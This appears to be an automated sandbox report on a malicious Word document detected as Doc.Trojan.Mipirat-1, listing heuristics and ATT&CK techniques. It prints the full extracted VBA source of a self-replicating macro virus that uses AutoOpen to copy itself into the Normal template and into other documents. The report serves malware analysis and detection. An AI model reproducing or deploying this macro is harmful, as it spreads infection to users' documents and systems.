MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for document infection. The macro attempts to copy itself to the Normal template and then to other documents, indicating a self-propagating infection mechanism. The ClamAV detection 'Doc.Trojan.Mipirat-1' further supports its malicious nature. No external network indicators were found.
Heuristics 4
-
ClamAV: Doc.Trojan.Mipirat-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Mipirat-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 982 bytes |
SHA-256: 75e97a2e5847ddf2b995ab73123901e0cdcb8fc8548cbe556c811767890ba1da |
|||
|
Detection
ClamAV:
Doc.Trojan.Mipirat-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Stimpy"
Sub AutoOpen()
If Application.UserName <> "Stimpy" Then
Set mytemplate = NormalTemplate
Application.OrganizerCopy Source:= _
ActiveDocument.FullName, Destination:= _
mytemplate.FullName, Name:= _
"Stimpy", Object:=wdOrganizerObjectProjectItems
Application.UserName = "Stimpy"
End If
For Each aVar In ActiveDocument.Variables
If aVar.Name = "Infect" Then num = aVar.Index
Next aVar
If num = 0 Then
ActiveDocument.Variables.Add Name:="Infect"
Set mytemplate = ActiveDocument.AttachedTemplate
Application.OrganizerCopy Source:= _
mytemplate.FullName, Destination:= _
ActiveDocument.FullName, Name:="Stimpy", Object:=wdOrganizerObjectProjectItems
ActiveDocument.Save
End If
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.